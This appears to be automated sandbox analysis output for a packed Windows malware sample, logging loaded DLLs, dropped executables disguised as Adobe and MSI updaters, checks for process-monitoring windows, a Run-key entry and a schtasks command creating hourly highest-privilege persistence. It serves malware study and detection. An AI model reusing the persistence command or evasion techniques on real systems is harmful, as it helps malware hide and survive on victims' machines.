Source: C:\Users\user\AppData\Local\AdobeUpdaterV202_3e3a2bee5ace9e061f31a101c1269b0c\AdobeUpdaterV202.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\AdobeUpdaterV202_3e3a2bee5ace9e061f31a101c1269b0c\AdobeUpdaterV202.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\AdobeUpdaterV202_3e3a2bee5ace9e061f31a101c1269b0c\AdobeUpdaterV202.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\AdobeUpdaterV202_3e3a2bee5ace9e061f31a101c1269b0c\AdobeUpdaterV202.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\AdobeUpdaterV202_3e3a2bee5ace9e061f31a101c1269b0c\AdobeUpdaterV202.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\AdobeUpdaterV202_3e3a2bee5ace9e061f31a101c1269b0c\AdobeUpdaterV202.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: apphelp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: aclayers.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mpr.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc_os.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winhttp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: webio.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mswsock.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winnsi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sspicli.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dnsapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: schannel.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mskeyprotect.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ntasn1.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ncrypt.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ncryptsslp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: msasn1.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptsp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rsaenh.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptbase.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: gpapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dpapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: amsi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: userenv.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: profapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: version.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: uxtheme.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\AdobeUpdaterV202_3e3a2bee5ace9e061f31a101c1269b0c\AdobeUpdaterV202.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\AdobeUpdaterV202_3e3a2bee5ace9e061f31a101c1269b0c\AdobeUpdaterV202.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\AdobeUpdaterV202_3e3a2bee5ace9e061f31a101c1269b0c\AdobeUpdaterV202.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\AdobeUpdaterV202_3e3a2bee5ace9e061f31a101c1269b0c\AdobeUpdaterV202.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\AdobeUpdaterV202_3e3a2bee5ace9e061f31a101c1269b0c\AdobeUpdaterV202.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\AdobeUpdaterV202_3e3a2bee5ace9e061f31a101c1269b0c\AdobeUpdaterV202.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\AdobeUpdaterV202_3e3a2bee5ace9e061f31a101c1269b0c\AdobeUpdaterV202.exe	Section loaded: apphelp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: apphelp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: aclayers.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mpr.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc_os.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winhttp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: webio.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mswsock.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winnsi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sspicli.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dnsapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: schannel.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mskeyprotect.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ntasn1.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ncrypt.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ncryptsslp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: msasn1.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptsp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rsaenh.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptbase.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: gpapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dpapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: amsi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: userenv.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: profapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: version.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: uxtheme.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll

Source: C:\Users\user\Desktop\2q45IEa3Ee.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Jump to behavior

Source: 2q45IEa3Ee.exe

Static file information: File size 2551616 > 1048576

Source: 2q45IEa3Ee.exe

Static PE information: Raw size of .boot is bigger than: 0x100000 < 0x15fc00

Source:	Binary string: C:\ka7c6p6\obj\Release\Question.pdbT2n2 `2_CorExeMainmscoree.dll source: MSIUpdaterV202.exe.0.dr, AdobeUpdaterV202.exe.0.dr, oRkIPIEeryat7GMgjkBr.exe.0.dr, lumma1504[1].exe.0.dr
Source:	Binary string: D:\TestProject\SetupAfterRebootService\SetupAfterRebootService\obj\Release\SetupAfterRebootService.pdb source: 2q45IEa3Ee.exe
Source:	Binary string: E:\HD_Audio\VS2005\Resetup\SetupAfterRebootService\SetupAfterRebootService\obj\Release\SetupAfterRebootService.pdbP@n@ `@_CorExeMainmscoree.dll source: 2q45IEa3Ee.exe
Source:	Binary string: E:\HD_Audio\VS2005\Resetup\SetupAfterRebootService\SetupAfterRebootService\obj\Release\SetupAfterRebootService.pdb source: 2q45IEa3Ee.exe
Source:	Binary string: D:\TestProject\SetupAfterRebootService\SetupAfterRebootService\obj\Release\SetupAfterRebootService.pdb,ANA @A_CorExeMainmscoree.dll source: 2q45IEa3Ee.exe
Source:	Binary string: Z:\Development\SecureEngine\src\plugins_manager\internal_plugins\embedded dlls\TlsHelperXBundler\Release\XBundlerTlsHelper.pdb source: 2q45IEa3Ee.exe, 2q45IEa3Ee.exe, 00000000.00000002.1877085413.0000000000E70000.00000040.00000001.01000000.00000003.sdmp
Source:	Binary string: C:\ka7c6p6\obj\Release\Question.pdb source: MSIUpdaterV202.exe.0.dr, AdobeUpdaterV202.exe.0.dr, oRkIPIEeryat7GMgjkBr.exe.0.dr, lumma1504[1].exe.0.dr

Source: lumma1504[1].exe.0.dr

Static PE information: 0x8AD735A1 [Sun Oct 25 04:22:57 2043 UTC]

Source: C:\Users\user\Desktop\2q45IEa3Ee.exe

Code function: 0_2_00D3B380 LoadLibraryA,GetProcAddress,

0_2_00D3B380

Source: initial sample

Static PE information: section where entry point is pointing to: .boot

Source: 2q45IEa3Ee.exe	Static PE information: section name:
Source: 2q45IEa3Ee.exe	Static PE information: section name:
Source: 2q45IEa3Ee.exe	Static PE information: section name:
Source: 2q45IEa3Ee.exe	Static PE information: section name:
Source: 2q45IEa3Ee.exe	Static PE information: section name: .themida
Source: 2q45IEa3Ee.exe	Static PE information: section name: .boot

Source: C:\Users\user\Desktop\2q45IEa3Ee.exe	Code function: 0_2_00FDD0F9 push 58490A72h; mov dword ptr [esp], edx	0_2_011C1C56
Source: C:\Users\user\Desktop\2q45IEa3Ee.exe	Code function: 0_2_00FDD0F9 push edi; mov dword ptr [esp], 000AA9A0h	0_2_011C1CCA
Source: C:\Users\user\Desktop\2q45IEa3Ee.exe	Code function: 0_2_00FDD0F9 push 7B7C085Ch; mov dword ptr [esp], ebx	0_2_011C1CE6
Source: C:\Users\user\Desktop\2q45IEa3Ee.exe	Code function: 0_2_00FDD0F9 push ebx; mov dword ptr [esp], edx	0_2_011C1CF9
Source: C:\Users\user\Desktop\2q45IEa3Ee.exe	Code function: 0_2_00FDD0F9 push edx; mov dword ptr [esp], 55DBEDB5h	0_2_011C1D7E
Source: C:\Users\user\Desktop\2q45IEa3Ee.exe	Code function: 0_2_00FDF0E1 push edi; mov dword ptr [esp], 37DA81A0h	0_2_011CF3CF
Source: C:\Users\user\Desktop\2q45IEa3Ee.exe	Code function: 0_2_00FDF0E1 push ebp; mov dword ptr [esp], esi	0_2_011CF3FF
Source: C:\Users\user\Desktop\2q45IEa3Ee.exe	Code function: 0_2_00FDF0E1 push ebx; mov dword ptr [esp], edx	0_2_011CF43D
Source: C:\Users\user\Desktop\2q45IEa3Ee.exe	Code function: 0_2_00FDF0E1 push eax; mov dword ptr [esp], esi	0_2_011CF4B2
Source: C:\Users\user\Desktop\2q45IEa3Ee.exe	Code function: 0_2_00FDF0E1 push ecx; mov dword ptr [esp], esi	0_2_011CF519
Source: C:\Users\user\Desktop\2q45IEa3Ee.exe	Code function: 0_2_00FDC8DC push 485CE8D9h; mov dword ptr [esp], ecx	0_2_011D3C1E
Source: C:\Users\user\Desktop\2q45IEa3Ee.exe	Code function: 0_2_00FDC8DC push 72D11309h; mov dword ptr [esp], esi	0_2_011D3C3B
Source: C:\Users\user\Desktop\2q45IEa3Ee.exe	Code function: 0_2_00FDC8DC push edx; mov dword ptr [esp], ebx	0_2_011D3C51
Source: C:\Users\user\Desktop\2q45IEa3Ee.exe	Code function: 0_2_00FDC8DC push edi; mov dword ptr [esp], 6664B914h	0_2_011D3C7D
Source: C:\Users\user\Desktop\2q45IEa3Ee.exe	Code function: 0_2_00FDC8DC push ebp; mov dword ptr [esp], edx	0_2_011D3D1C
Source: C:\Users\user\Desktop\2q45IEa3Ee.exe	Code function: 0_2_00FDC0D0 push edx; mov dword ptr [esp], ebp	0_2_011D3210
Source: C:\Users\user\Desktop\2q45IEa3Ee.exe	Code function: 0_2_00FDC0D0 push ebx; mov dword ptr [esp], ebp	0_2_011D3254
Source: C:\Users\user\Desktop\2q45IEa3Ee.exe	Code function: 0_2_00FDC0D0 push 5A0126E9h; mov dword ptr [esp], edi	0_2_011D328C
Source: C:\Users\user\Desktop\2q45IEa3Ee.exe	Code function: 0_2_00FE0867 push edi; mov dword ptr [esp], ecx	0_2_011C41C7
Source: C:\Users\user\Desktop\2q45IEa3Ee.exe	Code function: 0_2_00FE0867 push edi; mov dword ptr [esp], ecx	0_2_011C4216
Source: C:\Users\user\Desktop\2q45IEa3Ee.exe	Code function: 0_2_00FE0867 push esi; mov dword ptr [esp], 3BD107AEh	0_2_011C428F
Source: C:\Users\user\Desktop\2q45IEa3Ee.exe	Code function: 0_2_00FE0867 push eax; mov dword ptr [esp], ebx	0_2_011C42B7
Source: C:\Users\user\Desktop\2q45IEa3Ee.exe	Code function: 0_2_00FE0867 push eax; mov dword ptr [esp], 4AAA72D6h	0_2_011C42BB
Source: C:\Users\user\Desktop\2q45IEa3Ee.exe	Code function: 0_2_00FE0867 push ecx; mov dword ptr [esp], ebx	0_2_011C42EF
Source: C:\Users\user\Desktop\2q45IEa3Ee.exe	Code function: 0_2_00FDE85D push edx; mov dword ptr [esp], edi	0_2_011D5191
Source: C:\Users\user\Desktop\2q45IEa3Ee.exe	Code function: 0_2_00FDE85D push 5B1B3B8Ah; mov dword ptr [esp], ecx	0_2_011D5199
Source: C:\Users\user\Desktop\2q45IEa3Ee.exe	Code function: 0_2_00FDE85D push ebp; mov dword ptr [esp], ecx	0_2_011D51AA
Source: C:\Users\user\Desktop\2q45IEa3Ee.exe	Code function: 0_2_00FDE85D push edx; mov dword ptr [esp], 000AABB0h	0_2_011D51E8
Source: C:\Users\user\Desktop\2q45IEa3Ee.exe	Code function: 0_2_00FDE85D push eax; mov dword ptr [esp], ecx	0_2_011D5265
Source: C:\Users\user\Desktop\2q45IEa3Ee.exe	Code function: 0_2_00FDE85D push ebp; mov dword ptr [esp], ecx	0_2_011D5269
Source: C:\Users\user\Desktop\2q45IEa3Ee.exe	Code function: 0_2_00FE39FC push ebx; mov dword ptr [esp], edx	0_2_011CA92F

Source: 2q45IEa3Ee.exe	Static PE information: section name: entropy: 7.999554529460661
Source: 2q45IEa3Ee.exe	Static PE information: section name: .boot entropy: 7.949677127496007
Source: lumma1504[1].exe.0.dr	Static PE information: section name: .text entropy: 7.996781792059311
Source: oRkIPIEeryat7GMgjkBr.exe.0.dr	Static PE information: section name: .text entropy: 7.996781792059311
Source: AdobeUpdaterV202.exe.0.dr	Static PE information: section name: .text entropy: 7.996781792059311
Source: MSIUpdaterV202.exe.0.dr	Static PE information: section name: .text entropy: 7.996781792059311

Source: C:\Users\user\Desktop\2q45IEa3Ee.exe	File created: C:\Users\user\AppData\Local\AdobeUpdaterV202_3e3a2bee5ace9e061f31a101c1269b0c\AdobeUpdaterV202.exe	Jump to dropped file
Source: C:\Users\user\Desktop\2q45IEa3Ee.exe	File created: C:\Users\user\AppData\Local\Temp\spanBzNJzauM1END\oRkIPIEeryat7GMgjkBr.exe	Jump to dropped file
Source: C:\Users\user\Desktop\2q45IEa3Ee.exe	File created: C:\ProgramData\MSIUpdaterV202_3e3a2bee5ace9e061f31a101c1269b0c\MSIUpdaterV202.exe	Jump to dropped file
Source: C:\Users\user\Desktop\2q45IEa3Ee.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\lumma1504[1].exe	Jump to dropped file

Source: C:\Users\user\Desktop\2q45IEa3Ee.exe

File created: C:\ProgramData\MSIUpdaterV202_3e3a2bee5ace9e061f31a101c1269b0c\MSIUpdaterV202.exe

Jump to dropped file

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\2q45IEa3Ee.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\2q45IEa3Ee.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\2q45IEa3Ee.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior

Uses schtasks.exe or at.exe to add and modify task schedules

Source: C:\Users\user\Desktop\2q45IEa3Ee.exe

Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /f /RU "user" /tr "C:\ProgramData\MSIUpdaterV202_3e3a2bee5ace9e061f31a101c1269b0c\MSIUpdaterV202.exe" /tn "MSIUpdaterV202_3e3a2bee5ace9e061f31a101c1269b0c HR" /sc HOURLY /rl HIGHEST

Source: C:\Users\user\Desktop\2q45IEa3Ee.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run AdobeUpdaterV202_3e3a2bee5ace9e061f31a101c1269b0c			Jump to behavior
Source: C:\Users\user\Desktop\2q45IEa3Ee.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run AdobeUpdaterV202_3e3a2bee5ace9e061f31a101c1269b0c			Jump to behavior

Source: C:\Users\user\Desktop\2q45IEa3Ee.exe

Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate

Jump to behavior

Source: C:\Users\user\Desktop\2q45IEa3Ee.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\spanBzNJzauM1END\oRkIPIEeryat7GMgjkBr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\spanBzNJzauM1END\oRkIPIEeryat7GMgjkBr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\spanBzNJzauM1END\oRkIPIEeryat7GMgjkBr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\spanBzNJzauM1END\oRkIPIEeryat7GMgjkBr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\spanBzNJzauM1END\oRkIPIEeryat7GMgjkBr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\spanBzNJzauM1END\oRkIPIEeryat7GMgjkBr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\spanBzNJzauM1END\oRkIPIEeryat7GMgjkBr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\spanBzNJzauM1END\oRkIPIEeryat7GMgjkBr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\spanBzNJzauM1END\oRkIPIEeryat7GMgjkBr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\spanBzNJzauM1END\oRkIPIEeryat7GMgjkBr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\MSIUpdaterV202_3e3a2bee5ace9e061f31a101c1269b0c\MSIUpdaterV202.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\MSIUpdaterV202_3e3a2bee5ace9e061f31a101c1269b0c\MSIUpdaterV202.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\MSIUpdaterV202_3e3a2bee5ace9e061f31a101c1269b0c\MSIUpdaterV202.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\MSIUpdaterV202_3e3a2bee5ace9e061f31a101c1269b0c\MSIUpdaterV202.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\MSIUpdaterV202_3e3a2bee5ace9e061f31a101c1269b0c\MSIUpdaterV202.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\MSIUpdaterV202_3e3a2bee5ace9e061f31a101c1269b0c\MSIUpdaterV202.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\MSIUpdaterV202_3e3a2bee5ace9e061f31a101c1269b0c\MSIUpdaterV202.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\MSIUpdaterV202_3e3a2bee5ace9e061f31a101c1269b0c\MSIUpdaterV202.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\MSIUpdaterV202_3e3a2bee5ace9e061f31a101c1269b0c\MSIUpdaterV202.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\MSIUpdaterV202_3e3a2bee5ace9e061f31a101c1269b0c\MSIUpdaterV202.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\MSIUpdaterV202_3e3a2bee5ace9e061f31a101c1269b0c\MSIUpdaterV202.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\MSIUpdaterV202_3e3a2bee5ace9e061f31a101c1269b0c\MSIUpdaterV202.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\MSIUpdaterV202_3e3a2bee5ace9e061f31a101c1269b0c\MSIUpdaterV202.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\MSIUpdaterV202_3e3a2bee5ace9e061f31a101c1269b0c\MSIUpdaterV202.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\MSIUpdaterV202_3e3a2bee5ace9e061f31a101c1269b0c\MSIUpdaterV202.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\MSIUpdaterV202_3e3a2bee5ace9e061f31a101c1269b0c\MSIUpdaterV202.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\MSIUpdaterV202_3e3a2bee5ace9e061f31a101c1269b0c\MSIUpdaterV202.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\MSIUpdaterV202_3e3a2bee5ace9e061f31a101c1269b0c\MSIUpdaterV202.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\MSIUpdaterV202_3e3a2bee5ace9e061f31a101c1269b0c\MSIUpdaterV202.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\MSIUpdaterV202_3e3a2bee5ace9e061f31a101c1269b0c\MSIUpdaterV202.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\AdobeUpdaterV202_3e3a2bee5ace9e061f31a101c1269b0c\AdobeUpdaterV202.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\AdobeUpdaterV202_3e3a2bee5ace9e061f31a101c1269b0c\AdobeUpdaterV202.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\AdobeUpdaterV202_3e3a2bee5ace9e061f31a101c1269b0c\AdobeUpdaterV202.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\AdobeUpdaterV202_3e3a2bee5ace9e061f31a101c1269b0c\AdobeUpdaterV202.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\AdobeUpdaterV202_3e3a2bee5ace9e061f31a101c1269b0c\AdobeUpdaterV202.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\AdobeUpdaterV202_3e3a2bee5ace9e061f31a101c1269b0c\AdobeUpdaterV202.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\AdobeUpdaterV202_3e3a2bee5ace9e061f31a101c1269b0c\AdobeUpdaterV202.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\AdobeUpdaterV202_3e3a2bee5ace9e061f31a101c1269b0c\AdobeUpdaterV202.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\AdobeUpdaterV202_3e3a2bee5ace9e061f31a101c1269b0c\AdobeUpdaterV202.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\AdobeUpdaterV202_3e3a2bee5ace9e061f31a101c1269b0c\AdobeUpdaterV202.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\AdobeUpdaterV202_3e3a2bee5ace9e061f31a101c1269b0c\AdobeUpdaterV202.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\AdobeUpdaterV202_3e3a2bee5ace9e061f31a101c1269b0c\AdobeUpdaterV202.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\AdobeUpdaterV202_3e3a2bee5ace9e061f31a101c1269b0c\AdobeUpdaterV202.exe	Process information set: NOOPENFILEERRORBOX
